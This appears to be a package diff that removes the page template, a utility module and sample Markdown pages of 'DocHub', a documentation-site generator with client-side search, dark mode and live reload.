- .main-content code{background:var(--bg-tertiary);color:var(--accent);padding:2px 6px;border-radius:4px;font-size:.875em;font-family:'JetBrains Mono','Fira Code','Consolas',monospace}
111
- .main-content pre{margin:1.5rem 0;border-radius:10px;overflow:hidden}
112
- .main-content pre code{background:transparent;color:var(--code-text);padding:0;border-radius:0;font-size:14px;line-height:1.6}
113
- .main-content :not(pre)>.code-block{display:block;overflow-x:auto;padding:1rem}
114
- .code-block{background:var(--code-bg);padding:1.25rem;overflow-x:auto;-webkit-overflow-scrolling:touch}
115
- .code-block::-webkit-scrollbar{height:6px}
116
- .code-block::-webkit-scrollbar-thumb{background:rgba(255,255,255,.15);border-radius:3px}
117
- .main-content a code{color:var(--accent)}
118
- .main-content img{margin:1.5rem 0}
119
-
120
- .hljs-keyword{color:#8250df}
121
- .hljs-string{color:#0a3069}
122
- .hljs-comment{color:#6e7781;font-style:italic}
123
- .hljs-function{color:#8250df}
124
- .hljs-number{color:#0550ae}
125
- .hljs-type{color:#116329}
126
- .hljs-attr{color:#0550ae}
127
- .hljs-attribute{color:#0550ae}
128
- .hljs-title{color:#8250df}
129
- .hljs-literal{color:#0550ae}
130
- .hljs-built_in{color:#116329}
131
- .hljs-property{color:#0550ae}
132
- .hljs-selector-class{color:#0550ae}
133
- .hljs-regexp{color:#0a3069}
134
- .hljs-symbol{color:#0550ae}
135
- .hljs-variable{color:#0a3069}
136
- .hljs-template-variable{color:#0a3069}
137
- .hljs-doctag{color:#6e7781}
138
- .hljs-meta{color:#6e7781}
139
- .hljs-meta .hljs-keyword{color:#6e7781}
140
- .hljs-meta .hljs-string{color:#0a3069}
141
- .hljs-section{color:#8250df;font-weight:700}
142
- .hljs-deletion{color:#82071e;background:#ffebe9}
143
- .hljs-addition{color:#116329;background:#dafbe1}
144
- [data-theme=dark] .hljs-keyword{color:#ff7b72}
145
- [data-theme=dark] .hljs-string{color:#a5d6ff}
146
- [data-theme=dark] .hljs-comment{color:#8b949e;font-style:italic}
147
- [data-theme=dark] .hljs-function{color:#d2a8ff}
148
- [data-theme=dark] .hljs-number{color:#79c0ff}
149
- [data-theme=dark] .hljs-type{color:#7ee787}
150
- [data-theme=dark] .hljs-attr{color:#79c0ff}
151
- [data-theme=dark] .hljs-attribute{color:#79c0ff}
152
- [data-theme=dark] .hljs-title{color:#d2a8ff}
153
- [data-theme=dark] .hljs-literal{color:#79c0ff}
154
- [data-theme=dark] .hljs-built_in{color:#7ee787}
155
- [data-theme=dark] .hljs-property{color:#79c0ff}
156
- [data-theme=dark] .hljs-selector-class{color:#79c0ff}
157
- [data-theme=dark] .hljs-regexp{color:#a5d6ff}
158
- [data-theme=dark] .hljs-symbol{color:#79c0ff}
159
- [data-theme=dark] .hljs-variable{color:#a5d6ff}
160
- [data-theme=dark] .hljs-template-variable{color:#a5d6ff}
161
- [data-theme=dark] .hljs-doctag{color:#8b949e}
162
- [data-theme=dark] .hljs-meta{color:#8b949e}
163
- [data-theme=dark] .hljs-meta .hljs-keyword{color:#8b949e}
164
- [data-theme=dark] .hljs-meta .hljs-string{color:#a5d6ff}
165
- [data-theme=dark] .hljs-section{color:#d2a8ff;font-weight:700}
166
- [data-theme=dark] .hljs-deletion{background:#490202;color:#ffa198}
167
- [data-theme=dark] .hljs-addition{background:#04260f;color:#7ee787}
168
-
169
- @media(max-width:768px){
170
- .sidebar-toggle{display:block}
171
- .sidebar{position:fixed;top:var(--header-height);left:-280px;bottom:0;z-index:300;transition:left .25s ease;box-shadow:4px 0 20px rgba(0,0,0,.1)}
172
- .sidebar.open{left:0}
173
- .overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.3);z-index:299}
174
- .overlay.show{display:block}
175
- .main{padding:24px 20px}
176
- .search-wrapper{max-width:none}
177
- .search-input{font-size:16px}
178
- }
179
- @media(max-width:480px){
180
- .site-title{font-size:15px}
181
- .main{padding:16px}
182
- .main-content h1{font-size:1.75rem}
183
- .main-content h2{font-size:1.25rem}
184
- }
185
- </style>
186
- </head>
187
- <body>
188
- <div class="header">
189
- <div class="header-inner">
190
- <button class="sidebar-toggle" id="sidebarToggle" aria-label="Toggle sidebar"><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="4" y1="6" x2="20" y2="6"/><line x1="4" y1="12" x2="20" y2="12"/><line x1="4" y1="18" x2="20" y2="18"/></svg></button>
191
- <a href="/" class="site-title">${siteTitle}</a>
192
- <div class="search-wrapper">
193
- <svg class="search-icon" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
194
- <input type="search" class="search-input" id="searchInput" placeholder="Search documentation..." autocomplete="off" spellcheck="false">
195
- <div class="search-results" id="searchResults"></div>
196
- </div>
197
- <button class="theme-toggle" id="themeToggle" aria-label="Toggle theme">
198
- <span class="sun"><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></span>
199
- <span class="moon"><svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/></svg></span>
200
- </button>
201
- </div>
202
- </div>
203
-
204
- <div class="overlay" id="overlay"></div>
205
-
206
- <div class="layout">
207
- <aside class="sidebar" id="sidebar">
208
- <nav class="sidebar-nav">
209
- ${sidebarHtml}
210
- </nav>
211
- </aside>
212
- <main class="main">
213
- <div class="main-content">
214
- ${contentHtml}
215
- </div>
216
- </main>
217
- </div>
218
-
219
- <script id="dochubSearchData" type="application/json">${searchJson}</script>
220
-
221
- <script>
222
- (function(){'use strict';
223
-
224
- var searchData = [];
225
- try { searchData = JSON.parse(document.getElementById('dochubSearchData').textContent); } catch(e) {}
226
-
227
- var searchInput = document.getElementById('searchInput');
228
- var searchResults = document.getElementById('searchResults');
229
- var themeToggle = document.getElementById('themeToggle');
230
- var sidebar = document.getElementById('sidebar');
231
- var sidebarToggle = document.getElementById('sidebarToggle');
232
- var overlay = document.getElementById('overlay');
233
-
234
- var currentTheme = localStorage.getItem('dochub-theme') || 'light';
235
- document.documentElement.setAttribute('data-theme', currentTheme);
236
-
237
- themeToggle.addEventListener('click', function() {
238
- var next = document.documentElement.getAttribute('data-theme') === 'dark' ? 'light' : 'dark';
239
- document.documentElement.setAttribute('data-theme', next);
240
- localStorage.setItem('dochub-theme', next);
241
- });
242
-
243
- sidebarToggle.addEventListener('click', function() {
244
- sidebar.classList.toggle('open');
245
- overlay.classList.toggle('show');
246
- });
247
- overlay.addEventListener('click', function() {
248
- sidebar.classList.remove('open');
249
- overlay.classList.remove('show');
250
- });
251
-
252
- function escapeHtml(text) {
253
- var d = document.createElement('div');
254
- d.appendChild(document.createTextNode(text));
255
- return d.innerHTML;
256
- }
257
-
258
- function normalize(text) {
259
- return text.toLowerCase().replace(/[^a-z0-9 -]/g, '').replace(/ {2,}/g, ' ').trim();
260
- }
261
-
262
- function score(result, query) {
263
- var nq = normalize(query);
264
- var title = normalize(result.title);
265
- var excerpt = normalize(result.excerpt || '');
266
- var s = 0;
267
- if (title === nq) s += 100;
268
- if (title.indexOf(nq) === 0) s += 50;
269
- if (title.indexOf(nq) > 0) s += 25;
270
- if (excerpt.indexOf(nq) >= 0) s += 10;
271
- if (nq.length > 2) {
272
- var words = nq.split(/\\s+/);
273
- words.forEach(function(w) {
274
- if (title.indexOf(w) >= 0) s += 5;
275
- if (excerpt.indexOf(w) >= 0) s += 2;
276
- });
277
- }
278
- return s;
279
- }
280
-
281
- searchInput.addEventListener('input', function() {
282
- var query = this.value.trim();
283
- if (!query) {
284
- searchResults.classList.remove('show');
285
- return;
286
- }
287
-
288
- var scored = searchData.map(function(item) {
289
- return { item: item, score: score(item, query) };
290
- }).filter(function(s) { return s.score > 0; });
291
- scored.sort(function(a, b) { return b.score - a.score; });
292
- var results = scored.slice(0, 10).map(function(s) { return s.item; });
293
-
294
- if (results.length === 0) {
295
- searchResults.innerHTML = '<div class="no-results">No results found</div>';
296
- searchResults.classList.add('show');
297
- return;
298
- }
299
-
300
- var html = '';
301
- results.forEach(function(r) {
302
- var excerpt = r.excerpt || '';
303
- var nq = normalize(query);
304
- var idx = normalize(excerpt).indexOf(nq);
305
- var displayExcerpt = '';
306
- if (idx >= 0) {
307
- var start = Math.max(0, idx - 40);
308
- var end = Math.min(excerpt.length, idx + 80);
309
- displayExcerpt = (start > 0 ? '...' : '') + excerpt.substring(start, end) + (end < excerpt.length ? '...' : '');
310
- } else {
311
- displayExcerpt = excerpt.substring(0, 100) + (excerpt.length > 100 ? '...' : '');
312
- }
313
- html += '<a href="' + escapeHtml(r.path) + '" class="search-result-item">' +
314
- '<div class="search-result-title">' + escapeHtml(r.title) + '</div>' +
315
- '<div class="search-result-path">' + escapeHtml(r.path) + '</div>' +
316
- (displayExcerpt ? '<div class="search-result-excerpt">' + escapeHtml(displayExcerpt) + '</div>' : '') +
317
- '</a>';
318
- });
319
- searchResults.innerHTML = html;
320
- searchResults.classList.add('show');
321
- });
322
-
323
- searchInput.addEventListener('blur', function() {
324
- setTimeout(function() { searchResults.classList.remove('show'); }, 200);
325
- });
326
- searchInput.addEventListener('focus', function() {
327
- if (this.value.trim()) {
328
- this.dispatchEvent(new Event('input'));
329
- }
330
- });
331
-
332
- var highlightedIndex = -1;
333
- searchResults.addEventListener('mouseover', function(e) {
334
- var item = e.target.closest('.search-result-item');
335
- if (item) {
336
- searchResults.querySelectorAll('.search-result-item').forEach(function(el) {
337
- el.classList.remove('highlighted');
338
- });
339
- item.classList.add('highlighted');
340
- }
341
- });
342
-
343
- searchInput.addEventListener('keydown', function(e) {
344
- var items = searchResults.querySelectorAll('.search-result-item');
345
- if (e.key === 'ArrowDown') {
346
- e.preventDefault();
347
- highlightedIndex = Math.min(highlightedIndex + 1, items.length - 1);
348
- } else if (e.key === 'ArrowUp') {
349
- e.preventDefault();
350
- highlightedIndex = Math.max(highlightedIndex - 1, 0);
351
- } else if (e.key === 'Enter' && highlightedIndex >= 0 && items[highlightedIndex]) {
352
- items[highlightedIndex].click();
353
- return;
354
- } else {
355
- highlightedIndex = -1;
356
- }
357
- items.forEach(function(el, i) {
358
- el.classList.toggle('highlighted', i === highlightedIndex);
359
- });
360
- if (highlightedIndex >= 0 && items[highlightedIndex]) {
361
- items[highlightedIndex].scrollIntoView({ block: 'nearest' });
362
- }
363
- });
364
-
365
- var activeLink = sidebar.querySelector('.sidebar-link.active');
366
- if (activeLink) {
367
- activeLink.scrollIntoView({ block: 'center', behavior: 'auto' });
368
- }
369
-
370
- var folderToggles = sidebar.querySelectorAll('.sidebar-section-header');
371
- folderToggles.forEach(function(header) {
372
- header.addEventListener('click', function() {
373
- var arrow = this.querySelector('.arrow');
374
- var list = this.nextElementSibling;
375
- if (list) {
376
- var isHidden = list.style.display === 'none';
377
- list.style.display = isHidden ? '' : 'none';
378
- if (arrow) arrow.classList.toggle('open', isHidden);
379
- }
380
- });
381
- });
382
-
383
- })();
384
- </script>
385
- ${isDev ? '<script>var ws=new WebSocket("ws://"+location.host);ws.onmessage=function(e){if(e.data==="refresh"){location.reload()}};ws.onclose=function(){setTimeout(function(){location.reload()},1000)};</script>' : ''}
386
- </body>
387
- </html>`;
388
- }
389
-
390
- module.exports = { generatePageHtml };
package/src/utils.js DELETED
@@ -1,111 +0,0 @@
1
- const fs = require('fs');
2
- const path = require('path');
3
-
4
- function loadConfig(directory) {
5
- const jsPath = path.join(directory, 'dochub.config.js');
6
- const jsonPath = path.join(directory, 'dochub.config.json');
7
- try {
8
- if (fs.existsSync(jsPath)) return require(path.resolve(jsPath));
9
- if (fs.existsSync(jsonPath)) return JSON.parse(fs.readFileSync(jsonPath, 'utf8'));
10
- } catch {}
11
- return { title: 'DocHub', description: '' };
12
- }
13
-
14
- function walkMarkdownFiles(dir, rootDir) {
15
- const files = [];
16
- let entries;
17
- try {
18
- entries = fs.readdirSync(dir, { withFileTypes: true });
19
- } catch {
20
- return files;
21
- }
22
- const sorted = entries.sort((a, b) => {
23
- if (a.isDirectory() && !b.isDirectory()) return -1;
24
- if (!a.isDirectory() && b.isDirectory()) return 1;
25
- return a.name.localeCompare(b.name, 'en', { sensitivity: 'base' });
26
- });
27
- for (const entry of sorted) {
28
- const fullPath = path.join(dir, entry.name);
29
- if (entry.isDirectory()) {
30
- files.push(...walkMarkdownFiles(fullPath, rootDir));
31
- } else if (entry.name.endsWith('.md')) {
32
- const relative = path.relative(rootDir, fullPath);
33
- let urlPath = '/' + relative.replace(/\\/g, '/').replace(/\.md$/i, '').replace(/readme$/i, '');
34
- if (!urlPath) urlPath = '/';
35
- if (urlPath !== '/' && urlPath.endsWith('/')) urlPath = urlPath.slice(0, -1);
36
- let title = entry.name.replace(/\.md$/i, '');
37
- try {
38
- let content = fs.readFileSync(fullPath, 'utf8');
39
- const h1 = extractTitle(content);
40
- if (h1) title = h1;
41
- } catch {}
42
- files.push({ path: fullPath, url: urlPath, name: entry.name, title });
43
- }
44
- }
45
- return files;
46
- }
47
-
48
- function extractTitle(content) {
49
- const m = content.match(/^#\s+(.+)$/m);
50
- return m ? m[1].trim() : '';
51
- }
52
-
53
- function getSearchData(dir) {
54
- const markdownDir = path.join(dir, 'markdown');
55
- if (!fs.existsSync(markdownDir)) return [];
56
- const files = walkMarkdownFiles(markdownDir, markdownDir);
57
- return files.map(f => {
58
- let content = '';
59
- try { content = fs.readFileSync(f.path, 'utf8'); } catch {}
60
- const excerpt = content.replace(/<[^>]+>/g, '').replace(/```[\s\S]*?```/g, '').replace(/#{1,6}\s/g, '').trim().substring(0, 300);
61
- return { path: f.url, title: f.title, excerpt };
62
- });
63
- }
64
-
65
- function generateSidebarHtml(dir, currentPath) {
66
- const markdownDir = path.join(dir, 'markdown');
67
- if (!fs.existsSync(markdownDir)) return '<div class="sidebar-link" style="color:var(--text-tertiary);font-size:13px;padding:12px 8px">No markdown files found</div>';
68
- const files = walkMarkdownFiles(markdownDir, markdownDir);
69
-
70
- const rootFiles = files.filter(f => path.dirname(f.path) === markdownDir);
71
- const dirs = new Map();
72
- for (const f of files) {
73
- const dirPath = path.dirname(f.path);
74
- if (dirPath === markdownDir) continue;
75
- const relative = path.relative(markdownDir, dirPath);
76
- if (!dirs.has(relative)) dirs.set(relative, []);
77
- dirs.get(relative).push(f);
78
- }
79
-
80
- let html = '';
81
-
82
- for (const f of rootFiles) {
83
- const active = f.url === currentPath || (currentPath === '/' && f.url === '/');
84
- const label = extractLabel(f);
85
- html += `<a href="${f.url}" class="sidebar-link${active ? ' active' : ''}"><svg class="icon" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14.5 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7.5L14.5 2z"/><polyline points="14 2 14 8 20 8"/></svg>${label}</a>`;
86
- }
87
-
88
- const sortedDirs = [...dirs.entries()].sort((a, b) => a[0].localeCompare(b[0], 'en', { sensitivity: 'base' }));
89
- for (const [dirName, dirFiles] of sortedDirs) {
90
- const hasActive = dirFiles.some(f => f.url === currentPath || (currentPath === '/' && f.url === '/'));
91
- html += `<div class="sidebar-section">`;
92
- html += `<div class="sidebar-section-header"><svg class="arrow${hasActive ? ' open' : ''}" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>${dirName}</div>`;
93
- html += `<ul style="list-style:none;padding:0;margin:0;display:${hasActive ? 'block' : 'none'}">`;
94
- for (const f of dirFiles) {
95
- const active = f.url === currentPath || (currentPath === '/' && f.url === '/');
96
- const label = extractLabel(f);
97
- html += `<li><a href="${f.url}" class="sidebar-link${active ? ' active' : ''}" style="padding-left:28px"><svg class="icon" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M14.5 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7.5L14.5 2z"/><polyline points="14 2 14 8 20 8"/></svg>${label}</a></li>`;
98
- }
99
- html += `</ul></div>`;
100
- }
101
-
102
- return html;
103
- }
104
-
105
- function extractLabel(file) {
106
- if (file.title) return file.title;
107
- let label = file.name.replace(/\.md$/i, '');
108
- return label.replace(/[-_]/g, ' ').replace(/\b\w/g, c => c.toUpperCase());
109
- }
110
-
111
- module.exports = { loadConfig, walkMarkdownFiles, extractTitle, getSearchData, generateSidebarHtml };
@@ -1,69 +0,0 @@
1
- # Welcome to DocHub
2
-
3
- DocHub is a modern documentation generator that transforms Markdown files into a beautiful, searchable documentation site with live-reload during development and static HTML export for production.
4
-
5
- ## Features
6
-
7
- - **Live-reload dev server** -- changes to markdown files instantly update the browser
8
- - **Static site generation** -- export a fully self-contained HTML site for deployment
9
- - **Full-text search** -- client-side search across all pages with relevance scoring
10
- - **Dark mode** -- automatic theme toggle with persistent preference
11
- - **Syntax highlighting** -- code blocks rendered with Highlight.js across 190+ languages
12
- - **Responsive design** -- works on desktop, tablet, and mobile
13
- - **Zero external runtime dependencies** -- everything is self-contained in the generated HTML
14
-
15
- ## Quick Start
16
-
17
- ```bash
18
- # Install globally
19
- npm install -g dochub
20
-
21
- # Scaffold a project
22
- dochub init my-docs
23
-
24
- # Start the dev server
25
- cd my-docs && dochub serve
26
-
27
- # Build for production
28
- dochub build
29
- ```
30
-
31
- ## Project Structure
32
-
33
- ```
34
- my-docs/
35
- ├── markdown/ # Write your documentation here
36
- │ ├── README.md # Home page
37
- │ ├── guide.md # Additional pages
38
- │ └── folder/ # Organized into folders
39
- │ └── README.md
40
- └── dochub.config.js # Site configuration
41
- ```
42
-
43
- ## Writing Documentation
44
-
45
- DocHub supports standard Markdown with the following features:
46
-
47
- - Headers (h1 through h6)
48
- - Bold, italic, and inline code
49
- - Ordered and unordered lists
50
- - Links and images
51
- - Code blocks with syntax highlighting
52
- - Blockquotes
53
- - Tables
54
- - Horizontal rules
55
-
56
- ## Customization
57
-
58
- Edit `dochub.config.js` in your project root to change the site title and description:
59
-
60
- ```js
61
- module.exports = {
62
- title: 'My Documentation',
63
- description: 'A great documentation site',
64
- };
65
- ```
66
-
67
- ## Deployment
68
-
69
- Run `dochub build` to generate a static `dist/` folder. Upload the contents to any static file host -- Netlify, Vercel, GitHub Pages, or a simple HTTP server.
@@ -1,27 +0,0 @@
1
- # Nested Documentation
2
-
3
- Pages can be organized into folders to keep your documentation structured.
4
-
5
- ## Why Use Folders?
6
-
7
- - **Organization** -- Group related topics together
8
- - **Clean URLs** -- Pages get nested URLs like `/folder/page`
9
- - **Scalability** -- Keeps large documentation sets manageable
10
-
11
- ## Example Structure
12
-
13
- ```
14
- markdown/
15
- ├── README.md # /
16
- ├── guide.md # /guide
17
- ├── api/
18
- │ ├── README.md # /api
19
- │ ├── authentication.md # /api/authentication
20
- │ └── endpoints.md # /api/endpoints
21
- └── deployment/
22
- └── README.md # /deployment
23
- ```
24
-
25
- ## Navigation
26
-
27
- Folders appear as collapsible sections in the sidebar. Click the folder name to expand or collapse its contents. The current page is highlighted automatically.
@@ -1,75 +0,0 @@
1
- # Writing Guide
2
-
3
- This guide covers the Markdown syntax and features available in DocHub.
4
-
5
- ## Text Formatting
6
-
7
- **Bold text** and *italic text* are supported. You can also use ~~strikethrough~~ and `inline code`.
8
-
9
- ## Code Blocks
10
-
11
- Code blocks with syntax highlighting are supported for over 190 languages:
12
-
13
- ```javascript
14
- function fibonacci(n) {
15
- if (n <= 1) return n;
16
- return fibonacci(n - 1) + fibonacci(n - 2);
17
- }
18
-
19
- console.log(fibonacci(10)); // 55
20
- ```
21
-
22
- ```python
23
- def fibonacci(n):
24
- if n <= 1:
25
- return n
26
- return fibonacci(n - 1) + fibonacci(n - 2)
27
-
28
- print(fibonacci(10)) # 55
29
- ```
30
-
31
- ```rust
32
- fn fibonacci(n: u32) -> u32 {
33
- match n {
34
- 0 | 1 => n,
35
- _ => fibonacci(n - 1) + fibonacci(n - 2),
36
- }
37
- }
38
-
39
- fn main() {
40
- println!("{}", fibonacci(10)); // 55
41
- }
42
- ```
43
-
44
- ## Lists
45
-
46
- ### Unordered
47
-
48
- - Item one
49
- - Item two
50
- - Nested item
51
- - Another nested item
52
- - Item three
53
-
54
- ### Ordered
55
-
56
- 1. First step
57
- 2. Second step
58
- 3. Third step
59
-
60
- ## Blockquotes
61
-
62
- > This is a blockquote. It can span multiple lines and is useful for highlighting important information or callouts.
63
-
64
- ## Tables
65
-
66
- | Feature | Status | Version |
67
- |---------|--------|---------|
68
- | Live reload | Done | 2.0.0 |
69
- | Static build | Done | 2.0.0 |
70
- | Full-text search | Done | 2.0.0 |
71
- | Dark mode | Done | 2.0.0 |
72
-
73
- ## Links
74
-
75
- Visit the [DocHub GitHub repository](https://github.com/tyler-Github/dochub) for more information.